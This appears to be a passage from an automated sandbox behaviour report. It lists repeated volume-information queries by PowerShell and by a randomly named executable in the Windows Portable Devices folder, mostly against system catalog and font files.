Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation
